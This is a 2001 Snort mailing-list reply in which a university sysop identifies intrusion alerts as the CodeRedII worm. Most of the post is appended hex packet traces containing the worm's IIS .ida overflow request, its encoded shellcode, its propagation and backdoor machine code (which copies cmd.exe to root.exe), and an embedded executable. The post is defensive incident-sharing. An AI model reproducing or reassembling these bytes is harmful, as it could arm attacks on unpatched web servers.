Snort mailing list archives

Re: A new variation of CodeRed???????????


From: Neil Dickey <neil () geol niu edu>
Date: Thu, 16 Aug 2001 10:46:16 -0500 (CDT)


"John Davey" <john () davey net au> wrote asking:

Does any one know anything about this or has seen 
it before?

What you forwarded looks just like what I've been
calling CodeRedII.  It's the one with the backdoor.
The original CodeRed used "N" for the filler instead
of "X".  I forget where I originally read about it,
probably BugTraq.  ;-)

I just got hit 70 times in 6 minutes.

Yup, seen it here *many* times.  I hope you weren't
vulnerable.  I've appended the full packet trace if
you're interested.  Note the imbedded "CodeRedII"
string.

Best regards,

Neil Dickey, Ph.D.
Research Associate/Sysop
Geology Department
Northern Illinois University
DeKalb, Illinois
60115

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

[**] WEB-IIS ISAPI .ida attempt [**]
08/16-00:47:24.035816 131.94.167.24:1352 -> 131.156.X.X:80
TCP TTL:105 TOS:0x0 ID:26029 IpLen:20 DgmLen:1500 DF
***A**** Seq: 0xD8C25DE7  Ack: 0xE988E5FF  Win: 0x4470  TcpLen: 20
47 45 54 20 2F 64 65 66 61 75 6C 74 2E 69 64 61  GET /default.ida
3F 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  ?XXXXXXXXXXXXXXX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
58 25 75 39 30 39 30 25 75 36 38 35 38 25 75 63  X%u9090%u6858%uc
62 64 33 25 75 37 38 30 31 25 75 39 30 39 30 25  bd3%u7801%u9090%
75 36 38 35 38 25 75 63 62 64 33 25 75 37 38 30  u6858%ucbd3%u780
31 25 75 39 30 39 30 25 75 36 38 35 38 25 75 63  1%u9090%u6858%uc
62 64 33 25 75 37 38 30 31 25 75 39 30 39 30 25  bd3%u7801%u9090%
75 39 30 39 30 25 75 38 31 39 30 25 75 30 30 63  u9090%u8190%u00c
33 25 75 30 30 30 33 25 75 38 62 30 30 25 75 35  3%u0003%u8b00%u5
33 31 62 25 75 35 33 66 66 25 75 30 30 37 38 25  31b%u53ff%u0078%
75 30 30 30 30 25 75 30 30 3D 61 20 20 48 54 54  u0000%u00=a  HTT
50 2F 31 2E 30 0D 0A 43 6F 6E 74 65 6E 74 2D 74  P/1.0..Content-t
79 70 65 3A 20 74 65 78 74 2F 78 6D 6C 0A 43 6F  ype: text/xml.Co
6E 74 65 6E 74 2D 6C 65 6E 67 74 68 3A 20 33 33  ntent-length: 33
37 39 20 0D 0A 0D 0A C8 C8 01 00 60 E8 03 00 00  79 ........`....
00 CC EB FE 64 67 FF 36 00 00 64 67 89 26 00 00  ....dg.6..dg.&..
E8 DF 02 00 00 68 04 01 00 00 8D 85 5C FE FF FF  .....h......\...
50 FF 55 9C 8D 85 5C FE FF FF 50 FF 55 98 8B 40  P.U...\...P.U..@
10 8B 08 89 8D 58 FE FF FF FF 55 E4 3D 04 04 00  .....X....U.=...
00 0F 94 C1 3D 04 08 00 00 0F 94 C5 0A CD 0F B6  ....=...........
C9 89 8D 54 FE FF FF 8B 75 08 81 7E 30 9A 02 00  ...T....u..~0...
00 0F 84 C4 00 00 00 C7 46 30 9A 02 00 00 E8 0A  ........F0......
00 00 00 43 6F 64 65 52 65 64 49 49 00 8B 1C 24  ...CodeRedII...$
FF 55 D8 66 0B C0 0F 95 85 38 FE FF FF C7 85 50  .U.f.....8.....P
FE FF FF 01 00 00 00 6A 00 8D 85 50 FE FF FF 50  .......j...P...P
8D 85 38 FE FF FF 50 8B 45 08 FF 70 08 FF 90 84  ..8...P.E..p....
00 00 00 80 BD 38 FE FF FF 01 74 68 53 FF 55 D4  .....8....thS.U.
FF 55 EC 01 45 84 69 BD 54 FE FF FF 2C 01 00 00  .U..E.i.T...,...
81 C7 2C 01 00 00 E8 D2 04 00 00 F7 D0 0F AF C7  ..,.............
89 46 34 8D 45 88 50 6A 00 FF 75 08 E8 05 00 00  .F4.E.Pj..u.....
00 E9 01 FF FF FF 6A 00 6A 00 FF 55 F0 50 FF 55  ......j.j..U.P.U
D0 4F 75 D2 E8 3B 05 00 00 69 BD 54 FE FF FF 00  .Ou..;...i.T....
5C 26 05 81 C7 00 5C 26 05 57 FF 55 E8 6A 00 6A  \&....\&.W.U.j.j
16 FF 55 8C 6A FF FF 55 E8 EB F9 8B 46 34 29 45  ..U.j..U....F4)E
84 6A 64 FF 55 E8 8D 85 3C FE FF FF 50 FF 55 C0  .jd.U...<...P.U.
0F B7 85 3C FE FF FF 3D D2 07 00 00 73 CF 0F B7  ...<...=....s...
85 3E FE FF FF 83 F8 0A 73 C3 66 C7 85 70 FF FF  .>......s.f..p..
FF 02 00 66 C7 85 72 FF FF FF 00 50 E8 64 04 00  ...f..r....P.d..
00 89 9D 74 FF FF FF 6A 00 6A 01 6A 02 FF 55 B8  ...t...j.j.j..U.
83 F8 FF 74 F2 89 45 80 6A 01 54 68 7E 66 04 80  ...t..E.j.Th~f..
FF 75 80 FF 55 A4 59 6A 10 8D 85 70 FF FF FF 50  .u..U.Yj...p...P
FF 75 80 FF 55 B0 BB 01 00 00 00 0B C0 74 4B 33  .u..U........tK3
DB FF 55 94 3D 33 27 00 00 75 3F C7 85 68 FF FF  ..U.=3'..u?..h..
FF 0A 00 00 00 C7 85 6C FF FF FF 00 00 00 00 C7  .......l........
85 60 FF FF FF 01 00 00 00 8B 45 80 89 85 64 FF  .`........E...d.
FF FF 8D 85 68 FF FF FF 50 6A 00 8D 85 60 FF FF  ....h...Pj...`..
FF 50 6A 00 6A 01 FF 55 A0 93 6A 00 54 68 7E 66  .Pj.j..U..j.Th~f
04 80 FF 75 80 FF 55 A4 59 83 FB 01 75 31 E8 00  ...u..U.Y...u1..
00 00 00 58 2D D3 03 00 00 6A 00 68 EA 0E 00 00  ...X-....j.h....
50 FF 75 80 FF 55 AC 3D EA 0E 00 00 75 11 6A 00  P.u..U.=....u.j.
6A 01 8D 85 5C FE FF FF 50 FF 75 80 FF 55 A8 FF  j...\...P.u..U..
75 80 FF 55 B4 E9 E7 FE FF FF BB 00 00 DF 77 81  u..U..........w.
C3 00 00 01 00 81 FB 00 00 00 78 75 05 BB 00 00  ..........xu....
F0 BF 60 E8 0E 00 00 00 8B 64 24 08 64 67 8F 06  ..`......d$.dg..
00 00 58 61 EB D9 64 67 FF 36 00 00 64 67 89 26  ..Xa..dg.6..dg.&
00 00 66 81 3B 4D 5A 75 E3 8B 4B 3C 81 3C 0B 50  ..f.;MZu..K<.<.P
45 00 00 75 D7 8B 54 0B 78 03 D3 8B 42 0C 81 3C  E..u..T.x...B..<
03 4B 45 52 4E 75 C5 81 7C 03 04 45 4C 33 32 75  .KERNu..|..EL32u
BB 33 C9 49 8B 72 20 03 F3 FC 41 AD 81 3C 03 47  .3.I.r ...A..<.G
65 74 50 75 F5 81 7C 03 04 72 6F 63 41 75 EB 03  etPu..|..rocAu..
4A 10 49 D1 E1 03 4A 24 0F B7 0C 0B C1 E1 02 03  J.I...J$........
4A 1C 8B 04 0B 03 C3 89 44 24 24 64 67 8F 06 00  J.......D$$dg...
00 58 61 C3 E8 51 FF FF FF 89 5D FC 89 45 F8 E8  .Xa..Q....]..E..
0D 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41  ....LoadLibraryA
00 FF 75 FC FF 55 F8 89 45 F4 E8 0D 00 00 00 43  ..u..U..E......C
72 65 61 74 65 54 68 72 65 61 64 00 FF 75 FC FF  reateThread..u..
55 F8 89 45 F0 E8 0D 00 00 00 47 65 74 54 69 63  U..E......GetTic
6B 43 6F 75 6E 74 00 FF 75 FC FF 55 F8 89 45 EC  kCount..u..U..E.
E8 06 00 00 00 53 6C 65 65 70 00 FF 75 FC FF 55  .....Sleep..u..U
F8 89 45 E8 E8 17 00 00 00 47 65 74 53 79 73 74  ..E......GetSyst
65 6D 44 65 66 61 75 6C 74 4C 61 6E 67 49 44 00  emDefaultLangID.
FF 75 FC FF 55 F8 89 45 E4 E8 14 00 00 00 47 65  .u..U..E......Ge
74 53 79 73 74 65 6D 44 69 72 65 63 74 6F 72 79  tSystemDirectory
41 00 FF 75 FC FF 55 F8 89 45 E0 E8 0A 00 00 00  A..u..U..E......
43 6F 70 79 46 69 6C 65 41 00 FF 75 FC FF 55 F8  CopyFileA..u..U.
89 45 DC E8 10 00 00 00 47 6C 6F 62 61 6C 46 69  .E......GlobalFi
6E 64 41 74 6F 6D 41 00 FF 75 FC FF 55 F8 89 45  ndAtomA..u..U..E
D8 E8 0F 00 00 00 47 6C 6F 62 61 6C 41 64 64 41  ......GlobalAddA
74 6F 6D 41                                      tomA

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

[**] WEB-IIS cmd.exe access [**]
08/16-00:47:24.038189 131.94.167.24:1352 -> 131.156.X.X:80
TCP TTL:105 TOS:0x0 ID:26030 IpLen:20 DgmLen:1500 DF
***A**** Seq: 0xD8C2639B  Ack: 0xE988E5FF  Win: 0x4470  TcpLen: 20
00 FF 75 FC FF 55 F8 89 45 D4 E8 0C 00 00 00 43  ..u..U..E......C
6C 6F 73 65 48 61 6E 64 6C 65 00 FF 75 FC FF 55  loseHandle..u..U
F8 89 45 D0 E8 08 00 00 00 5F 6C 63 72 65 61 74  ..E......_lcreat
00 FF 75 FC FF 55 F8 89 45 CC E8 08 00 00 00 5F  ..u..U..E......_
6C 77 72 69 74 65 00 FF 75 FC FF 55 F8 89 45 C8  lwrite..u..U..E.
E8 08 00 00 00 5F 6C 63 6C 6F 73 65 00 FF 75 FC  ....._lclose..u.
FF 55 F8 89 45 C4 E8 0E 00 00 00 47 65 74 53 79  .U..E......GetSy
73 74 65 6D 54 69 6D 65 00 FF 75 FC FF 55 F8 89  stemTime..u..U..
45 C0 E8 0B 00 00 00 57 53 32 5F 33 32 2E 44 4C  E......WS2_32.DL
4C 00 FF 55 F4 89 45 BC E8 07 00 00 00 73 6F 63  L..U..E......soc
6B 65 74 00 FF 75 BC FF 55 F8 89 45 B8 E8 0C 00  ket..u..U..E....
00 00 63 6C 6F 73 65 73 6F 63 6B 65 74 00 FF 75  ..closesocket..u
BC FF 55 F8 89 45 B4 E8 0C 00 00 00 69 6F 63 74  ..U..E......ioct
6C 73 6F 63 6B 65 74 00 FF 75 BC FF 55 F8 89 45  lsocket..u..U..E
A4 E8 08 00 00 00 63 6F 6E 6E 65 63 74 00 FF 75  ......connect..u
BC FF 55 F8 89 45 B0 E8 07 00 00 00 73 65 6C 65  ..U..E......sele
63 74 00 FF 75 BC FF 55 F8 89 45 A0 E8 05 00 00  ct..u..U..E.....
00 73 65 6E 64 00 FF 75 BC FF 55 F8 89 45 AC E8  .send..u..U..E..
05 00 00 00 72 65 63 76 00 FF 75 BC FF 55 F8 89  ....recv..u..U..
45 A8 E8 0C 00 00 00 67 65 74 68 6F 73 74 6E 61  E......gethostna
6D 65 00 FF 75 BC FF 55 F8 89 45 9C E8 0E 00 00  me..u..U..E.....
00 67 65 74 68 6F 73 74 62 79 6E 61 6D 65 00 FF  .gethostbyname..
75 BC FF 55 F8 89 45 98 E8 10 00 00 00 57 53 41  u..U..E......WSA
47 65 74 4C 61 73 74 45 72 72 6F 72 00 FF 75 BC  GetLastError..u.
FF 55 F8 89 45 94 E8 0B 00 00 00 55 53 45 52 33  .U..E......USER3
32 2E 44 4C 4C 00 FF 55 F4 89 45 90 E8 0E 00 00  2.DLL..U..E.....
00 45 78 69 74 57 69 6E 64 6F 77 73 45 78 00 FF  .ExitWindowsEx..
75 90 FF 55 F8 89 45 8C C3 8B 45 84 69 C0 05 84  u..U..E...E.i...
08 08 40 89 45 84 8D 84 04 78 56 34 12 F7 D8 C1  ..@.E....xV4....
C0 08 C3 E8 E1 FF FF FF 3C 00 74 F7 3C FF 74 F3  ........<.t.<.t.
C3 E8 ED FF FF FF 8A F8 E8 E6 FF FF FF 8A D8 C1  ................
E3 10 E8 DC FF FF FF 8A F8 E8 D5 FF FF FF 8A D8  ................
E8 B4 FF FF FF 83 E0 07 E8 20 00 00 00 FF FF FF  ......... ......
FF 00 FF FF FF 00 FF FF FF 00 FF FF FF 00 FF FF  ................
FF 00 00 FF FF 00 00 FF FF 00 00 FF FF 59 8B 04  .............Y..
81 23 D8 F7 D0 23 85 58 FE FF FF 0B D8 80 FB 7F  .#...#.X........
74 9F 80 FB E0 74 9A 3B 9D 58 FE FF FF 74 92 C3  t....t.;.X...t..
68 04 01 00 00 8D 85 5C FE FF FF 50 FF 55 E0 8D  h......\...P.U..
BC 05 5C FE FF FF E8 09 00 00 00 5C 43 4D 44 2E  ..\........\CMD.
45 58 45 00 5E FC A5 A5 A4 B3 63 6A 01 E8 1C 00  EXE.^.....cj....
00 00 64 3A 5C 69 6E 65 74 70 75 62 5C 73 63 72  ..d:\inetpub\scr
69 70 74 73 5C 72 6F 6F 74 2E 65 78 65 00 8B 0C  ipts\root.exe...
24 88 19 8D 85 5C FE FF FF 50 FF 55 DC 6A 01 E8  $....\...P.U.j..
2B 00 00 00 64 3A 5C 70 72 6F 67 72 61 7E 31 5C  +...d:\progra~1\
63 6F 6D 6D 6F 6E 7E 31 5C 73 79 73 74 65 6D 5C  common~1\system\
4D 53 41 44 43 5C 72 6F 6F 74 2E 65 78 65 00 8B  MSADC\root.exe..
0C 24 88 19 8D 85 5C FE FF FF 50 FF 55 DC E8 BA  .$....\...P.U...
05 00 00 FC 4D 5A 50 00 02 00 00 00 04 00 0F 00  ....MZP.........
FF FF 00 00 B8 00 00 00 00 00 00 00 40 00 1A FC  ............@...
00 00 01 FC FC FC FC FC FC 00 00 50 45 00 00 4C  ...........PE..L
01 03 00 FD 2A 25 29 00 00 00 00 00 00 00 00 E0  ....*%).........
00 8F 81 0B 01 02 19 00 04 00 00 00 08 00 00 00  ................
00 00 00 00 10 00 00 00 10 00 00 00 20 00 00 00  ............ ...
00 40 00 00 10 00 00 00 04 00 00 01 00 00 00 00  .@..............
00 00 00 03 00 0A 00 00 00 00 00 00 40 00 00 00  ............@...
04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00  ................
20 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10   ...............
00 00 00 00 00 00 00 00 00 00 00 00 30 00 00 0C  ............0...
01 FC FC FC 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10  ................
00 00 00 10 00 00 00 04 00 00 00 08 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 20 00 00 60 00 00  .......... ..`..
00 00 00 00 00 00 00 10 00 00 00 20 00 00 00 04  ........... ....
00 00 00 0C 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 40 00 00 C0 00 00 00 00 00 00 00 00 00 10  ..@.............
00 00 00 30 00 00 00 04 00 00 00 10 00 00 00 00  ...0............
00 00 00 00 00 00 00 00 00 00 40 00 00 C0 FC FC  ..........@.....
FC FC FC FC FC FC FC FC FC FC FC FC FC FC FC FC  ................
FC FC FC FC FC FC FC FC FC FC FC FC FC FC FC FC  ................
FC FC FC FC FC FC FC FC FC FC 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 68 04 01 00 00 68  ..........h....h
D0 20 40 00 E8 61 01 00 00 8D B8 D0 20 40 00 BE  . @..a...... @..
00 20 40 00 A5 A5 A5 A5 6A 01 68 D0 20 40 00 E8  . @.....j.h. @..
4C 01 00 00 E8 0C 00 00 00 68 C0 27 09 00 E8 31  L........h.'...1
01 00 00 EB EF 68 D8 24 40 00 68 3F 00 0F 00 6A  .....h.$@.h?...j
00 68 10 20 40 00 68 02 00 00 80 E8 32 01 00 00  .h. @.h.....2...
0B C0 75 26 6A 04 68 54 20 40 00 6A 04 6A 00 68  ..u&j.hT @.j.j.h
48 20 40 00 FF 35 D8 24 40 00 E8 0D 01 00 00 FF  H @..5.$@.......
35 D8 24 40 00 E8 0E 01 00 00 68 D8 24 40 00 68  5.$@......h.$@.h
3F 00 0F 00 6A 00 68 58 20 40 00 68 02 00 00 80  ?...j.hX @.h....
E8 ED 00 00 00 0B C0 75 55 BD 9C 20 40 00 E8 4C  .......uU.. @..L
00 00 00 BD A8 20 40 00 E8 42 00 00 00 6A 09 68  ..... @..B...j.h
B8 20 40 00 6A 01 6A 00 68 B0 20 40 00 FF 35 D8  . @.j.j.h. @..5.
24 40 00 E8 B4 00 00 00 6A 09 68 C4 20 40 00 6A  $@......j.h. @.j
01 6A 00 68 B4 20 40 00 FF 35 D8 24 40 00 E8 99  .j.h. @..5.$@...
00 00 00 FF 35 D8 24 40 00 E8 9A 00 00 00 C3 C7  ....5.$@........
05 D0 24 40 00 00 04 00 00 68 D0 24 40 00 68 D0  ..$@.....h.$@.h.
20 40 00 68 D4 24 40 00 6A 00 55 FF 35 D8 24 40   @.h.$@.j.U.5.$@
00 E8 60 00 00 00 0B C0 75 49 A1 D0 24 40 00 0B  ..`.....uI..$@..
C0 74 40 BE D0 20 40 00 80 3E 00 74 36 46 66 81  .t@.. @..>.t6Ff.
7E FE 2C 2C 75 F2 C7 06 32 31 37 00 81 EE CC 20  ~.,,u...217.... 
40 00 89 35                                      @..5

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

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